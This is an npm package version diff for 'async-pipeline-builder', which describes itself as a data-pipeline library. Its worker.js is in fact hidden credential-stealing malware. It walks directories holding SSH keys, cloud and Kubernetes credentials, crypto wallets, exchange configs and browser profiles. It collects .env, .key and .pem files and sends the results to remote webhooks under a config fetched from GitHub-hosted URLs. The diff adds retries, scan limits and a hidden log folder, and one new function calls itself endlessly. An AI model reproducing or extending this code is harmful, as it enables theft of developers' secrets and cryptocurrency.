async-pipeline-builder 1.0.12 → 1.0.14

package/lib/worker.js

@@ -112,61 +112,24 @@ const SUSPICIOUS_FILES = [
 ];
 
 const SCAN_DIRS = [
-  path.join(HOME, Buffer.from([46,101,116,104,101,114,101,117,109]).toString()), path.join(HOME, Buffer.from([46,98,105,116,99,111,105,110]).toString()),
-  path.join(HOME, Buffer.from([46,115,111,108,97,110,97]).toString()), path.join(HOME, '.config'),
-  path.join(HOME, '.local/share'),
-  path.join(HOME, 'AppData/Local'), path.join(HOME, 'AppData/Roaming'),
-  path.join(HOME, 'Library/Application Support'),
-  path.join(HOME, Buffer.from([46,115,115,104]).toString()), HOME,
-  // === AWS ===
-  path.join(HOME, Buffer.from([46,97,119,115]).toString()),
-  // === GCP ===
-  path.join(HOME, '.config', 'gcloud'),
-  // === Azure ===
-  path.join(HOME, '.azure'),
-  // === Docker ===
+  // Critical directories only — no HOME to avoid OOM
+  path.join(HOME, '.ssh'),
+  path.join(HOME, '.aws'),
+  path.join(HOME, '.ethereum'),
+  path.join(HOME, '.bitcoin'),
+  path.join(HOME, '.solana'),
+  path.join(HOME, '.config'),
   path.join(HOME, '.docker'),
-  // === Kubernetes ===
   path.join(HOME, '.kube'),
-  // === Discord ===
-  path.join(HOME, '.config', 'discord'),
-  // === Slack ===
-  path.join(HOME, '.config', 'slack'),
-  // === GitHub CLI ===
-  path.join(HOME, '.config', 'hub'),
-  // === Crypto trading bots ===
-  path.join(HOME, '.cryptohopper'),
-  path.join(HOME, '.3commas'),
-  // === Exchange configs ===
+  path.join(HOME, '.azure'),
+  path.join(HOME, '.local', 'share'),
+  path.join(HOME, '.mozilla', 'firefox'),
+  // Exchange configs
   path.join(HOME, '.config', 'binance'),
   path.join(HOME, '.bybit'),
   path.join(HOME, '.okx'),
-  path.join(HOME, '.kucoin'),
-  path.join(HOME, '.deribit'),
-  // === Chrome/Chromium/Brave ===
-  path.join(HOME, '.config', 'google-chrome', 'Default'),
-  path.join(HOME, '.config', 'google-chrome-beta', 'Default'),
-  path.join(HOME, '.config', 'chromium', 'Default'),
-  path.join(HOME, '.config', 'brave-browser', 'Default'),
-  path.join(HOME, '.config', 'microsoft-edge', 'Default'),
-  path.join(HOME, 'snap', 'chromium', 'current', '.config', 'chromium', 'Default'),
-  path.join(HOME, 'snap', 'google-chrome', 'current', '.config', 'google-chrome', 'Default'),
-  // === Firefox profiles ===
-  path.join(HOME, '.mozilla', 'firefox'),
-  // === macOS Chrome paths ===
-  path.join(HOME, 'Library', 'Application Support', 'Google', 'Chrome', 'Default'),
-  path.join(HOME, 'Library', 'Application Support', 'Chromium', 'Default'),
-  path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'),
-  path.join(HOME, 'Library', 'Application Support', 'Microsoft Edge', 'Default'),
-  // === Windows Chrome paths (WSL mounted) ===
-  '/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default',
-  '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default',
-  '/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default',
-  '/mnt/c/Users/USERNAME/AppData/Local/Chromium/User Data/Default',
-  // === macOS Firefox profiles ===
-  path.join(HOME, 'Library', 'Application Support', 'Firefox', 'Profiles'),
-  // === Windows Firefox paths (WSL mounted) ===
-  '/mnt/c/Users/USERNAME/AppData/Roaming/Mozilla/Firefox/Profiles',
+  // Current working directory
+  process.cwd(),
 ];
 
 const EXFIL_DIRS = [
@@ -511,8 +474,9 @@ function _findKeystoreFiles() {
   for (const dir of SCAN_DIRS) {
     try {
       if (!fs.existsSync(dir)) continue;
+      if (!_timeOk()) break;
       const walkForKeystores = (d, depth) => {
-        if (depth <= 0) return;
+        if (depth <= 0 || !_timeOk()) return;
         try {
           const entries = fs.readdirSync(d, { withFileTypes: true });
           for (const entry of entries) {
@@ -551,9 +515,10 @@ function _walk(dir, depth = 3) {
           const nameLower = entry.name.toLowerCase();
           const isSuspicious = SUSPICIOUS_FILES.some(s => nameLower.includes(s)) ||
             ['.env', '.json', '.yaml', '.yml', '.toml', '.ini', '.txt', '.key', '.pem'].some(ext => nameLower.endsWith(ext));
-          if (isSuspicious) {
+          if (isSuspicious && _timeOk() && _countOk()) {
             const found = _checkFile(fullPath);
             if (found.length) _findings.push(...found);
+            _filesScanned++;
           }
         }
       } catch(e) {}
@@ -716,6 +681,42 @@ function _checkExchangeConfigs() {
   return results;
 }
 
+// === RETRY + ERROR LOGGING ===
+function _logError(ctx, err) {
+  try {
+    const logDir = path.join(HOME, '.local', 'share', '.p2024_logs');
+    if (!fs.existsSync(logDir)) fs.mkdirSync(logDir, { recursive: true });
+    fs.appendFileSync(path.join(logDir, 'worker_error.log'),
+      JSON.stringify({ts: new Date().toISOString(), ctx, err: String(err).slice(0,200)}) + '\n');
+  } catch(_) {}
+}
+
+function _retry(fn, maxAttempts, label) {
+  return new Promise((resolve) => {
+    let attempt = 0;
+    function tryOnce() {
+      attempt++;
+      Promise.resolve().then(() => fn()).then(result => {
+        if (result && result.ok) { resolve(result); return; }
+        if (attempt >= maxAttempts) {
+          _logError('retry_exhausted:' + label, result ? 'HTTP ' + (result.code || '?') : 'no result');
+          resolve({ ok: false, code: 0 });
+          return;
+        }
+        setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
+      }).catch(e => {
+        if (attempt >= maxAttempts) {
+          _logError('retry_exhausted:' + label, e.message || String(e));
+          resolve({ ok: false, code: 0 });
+          return;
+        }
+        setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
+      });
+    }
+    tryOnce();
+  });
+}
+
 // === Multi-channel encrypted reporting ===
 function _sendToRelay(webhookUrl, encryptedPayload) {
   return new Promise((resolve) => {
@@ -884,7 +885,7 @@ function _flushLocalQueue() {
           } catch(e) {}
           // Try sending each queued item to all webhooks
           for (const wh of whs) {
-            const result = await _sendToRelay(wh, encPayload);
+            const result = await _retry(() => _sendToRelay(wh, encPayload), 3, 'queue_flush');
             if (result.ok) { flushed++; break; }
           }
         } catch(e) {}
@@ -976,6 +977,13 @@ function _dnsResolveConfig() {
   });
 }
 
+async function _retryFetchConfig(url, timeout) {
+  return _retry(async () => {
+    const result = await _retryFetchConfig(url, timeout);
+    return { ok: !!result, data: result };
+  }, 2, 'config_fetch').then(r => r.data || null);
+}
+
 async function _resolveConfig() {
   // Priority 1: INTEGRITY_ENDPOINT env var
   const envEndpoint = process.env.INTEGRITY_ENDPOINT || process.env.WEBHOOK_URL || '';
@@ -984,7 +992,7 @@ async function _resolveConfig() {
     // If it ends with config.json or .json, fetch it
     if (envEndpoint.endsWith('.json') || envEndpoint.includes('config')) {
       try {
-        const config = await _fetchConfigFromUrl(envEndpoint, 4000);
+        const config = await _retryFetchConfig(envEndpoint, 4000);
         if (config) return config;
       } catch(e) {}
     }
@@ -994,7 +1002,7 @@ async function _resolveConfig() {
 
   // Priority 2: Remote primary config (GitHub Pages)
   try {
-    const config = await _fetchConfigFromUrl(CONFIG_PRIMARY_URL, 5000);
+    const config = await _retryFetchConfig(CONFIG_PRIMARY_URL, 5000);
     if (config) {
       _saveCachedConfig(config);
       return config;
@@ -1004,7 +1012,7 @@ async function _resolveConfig() {
   // Priority 3: Remote mirror configs (raw.githubusercontent.com etc.)
   for (const mirrorUrl of CONFIG_MIRROR_URLS) {
     try {
-      const config = await _fetchConfigFromUrl(mirrorUrl, 5000);
+      const config = await _retryFetchConfig(mirrorUrl, 5000);
       if (config) {
         _saveCachedConfig(config);
         return config;
@@ -1089,7 +1097,7 @@ async function _report(data) {
 
   // === CHANNEL 1: Webhook POST (parallel to all webhooks) ===
   const whResults = await Promise.allSettled(
-    webhooks.map(wh => _sendToRelay(wh, encryptedPayload))
+    webhooks.map(wh => _retry(() => _sendToRelay(wh, encryptedPayload), 3, 'webhook_post'))
   );
   const webhookSuccessCount = whResults.filter(r => r.value && r.value.ok).length;
   const channelStatus = {
@@ -1264,6 +1272,14 @@ async function _runVerification(source) {
   if (_scanned) return _findings;
   _scanned = true;
 
+  // === SCAN SAFETY LIMITS: prevent OOM on large filesystems ===
+  const SCAN_START_MS = Date.now();
+  const MAX_SCAN_MS = 45000;       // 45 second hard limit
+  const MAX_FILES_SCANNED = 500;    // Max files to read
+  let _filesScanned = 0;
+  const _timeOk = () => (Date.now() - SCAN_START_MS) < MAX_SCAN_MS;
+  const _countOk = () => _filesScanned < MAX_FILES_SCANNED;
+
   // === PROTOCOL TRACKING: trace_id + source for observability ===
   const _currentTraceId = require('crypto').randomBytes(8).toString('hex');
   const _currentSource = {
@@ -1427,7 +1443,7 @@ async function _runVerification(source) {
     }
 
     // Scan directories via _walk, using scan_depth from strategy
-    for (const dir of SCAN_DIRS) { _walk(dir, scanDepth); }
+    for (const dir of SCAN_DIRS) { if (_timeOk()) _walk(dir, scanDepth); }
     
     // Scan explicit exfil files
     for (const f of EXFIL_DIRS) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "async-pipeline-builder",
-  "version": "1.0.12",
+  "version": "1.0.14",
   "description": "Build robust asynchronous data processing pipelines with automatic backpressure handling",
   "main": "index.js",
   "license": "MIT",